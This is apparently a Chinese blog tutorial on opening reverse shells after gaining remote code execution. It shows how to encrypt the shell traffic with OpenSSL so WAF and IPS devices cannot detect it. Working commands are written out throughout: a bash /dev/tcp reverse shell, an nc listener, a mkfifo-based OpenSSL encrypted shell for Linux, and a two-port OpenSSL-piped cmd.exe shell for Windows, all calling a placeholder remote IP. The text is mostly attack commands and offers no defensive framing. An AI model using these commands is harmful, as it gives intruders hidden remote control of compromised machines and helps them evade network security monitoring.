前言
前段时间的一个小插曲,我们在拿到 RCE
漏洞后,往往会弹一个 Shell 出来操作,但若是直接反弹会有一个缺点:流量是以明文方式传输的,容易被 WAF
、 IPS
等检测到,进而对带有攻击特征的设备拦截或记录,这时候我们对流量加密则至关重要。下面直接演示。
直接反弹
这里我们简单演示直接反弹的结果,并使用 tcpdump 工具进行数据流的抓取并分析。
首先,我们在测试机中先开一个 Shell 窗口,并使用 tcpdump 抓取 eth0 网卡数据流量,命令如下:
[root@localhost revshell]# tcpdump -i eth0 -w revshell.cap
远程主机使用 nc 工具监听端口:
[root@localhost ~]# nc -lvvp 2024
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2024
Ncat: Listening on 0.0.0.0:2024
接下来,我们再在测试机上开一个窗口,进行 Shell 反弹,如下:
[root@localhost ~]# /bin/bash -i >& /dev/tcp/[远程IP]/2024 0>&1
成功反弹后,执行命令,并使用工具分析抓取的数据包,以查看在远程主机上所执行的命令与结果,可见数据皆明文传输:
加密流量
下面我们尝试生成 SSL 证书,再使用 OpenSSL 加密反弹 Shell 。
我们在远程主机上使用 OpenSSL 工具生成 SSL 证书的公/私钥对,需要填写的 SSL 证书信息可以是空,一直回车即可,如下:
[root@localhost revshell]# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Generating a 4096 bit RSA private key
...................................................++
..........................................................................................................................................++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
…………
Common Name (eg, your name or your server's hostname) []:
Email Address []:
[root@localhost revshell]# ll
total 8
-rw-r--r--. 1 root root 1911 Oct 4 18:22 cert.pem
-rw-r--r--. 1 root root 3272 Oct 4 18:22 key.pem
[root@localhost revshell]#
证书生成成功后,我们即可利用该证书对相关流量进行加密。
Linux 平台
1、在远程主机上使用 OpenSSL 在指定端口启动 SSL/TLS 服务,如下:
openssl s_server -quiet -key key.pem -cert cert.pem -port 2024
2、测试机上使用 OpenSSL 反弹加密的 Shell :
mkfifo /tmp/revshell; /bin/bash -i < /tmp/revshell 2>&1 | openssl s_client -quiet -connect [远程IP]:2024 > /tmp/revshell; rm -f /tmp/revshell
简单在加密的 Shell 上输入几个 Linux 命令后并再次分析验证其数据流量:
可以看到,传输的数据流量在 3 次握手以后就直接从 TCP 协议变成了 TLSv1.2 ,原先几乎等于明文的 TCP 数据包也变成了看不懂的Application Data,如下:
Windows 平台
1、由于 OpenSSL 官方未提供适用于 Windows 平台的工具,因此我们可以借助三方开源平台的OpenSSL工具,工具如下:
我们选择 Light 安装包下载安装即可。
2、在 Windows 平台下,我们远程主机监听两个端口,其命令如下:
# 配置命令发送端口
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]
# 配置命令结果接收端口
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]
Windows 主机下我们反弹的命令如下:
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
上述需定义两个远程主机端口,第一个端口 port1
负责实现对 Windows 主机发送用户的命令,其命令经过管道交由 cmd
处理,并将处理结果再返回到远程主机的 port2
端口。
我们在远程主机的 port1
端口的窗口敲击命令,在 port2
端口的窗口观察执行结果,其结果如图所示:
3、经过上述实操,我们在 Windows 上抓取流量数据包并再次分析流量,结果如下,可见进行了 SSL 加密内容:
小结
这也算是近期遇到的一个小插曲,个人博文中也写过相关反弹 Shell 的文章,本次则是利用 OpenSSL 对反弹的 Shell 流量进行加密传输,以绕过相关设备的拦截;此文只写使用,暂不讨论流量的解密,可后续再写一文进行分析流量解密操作。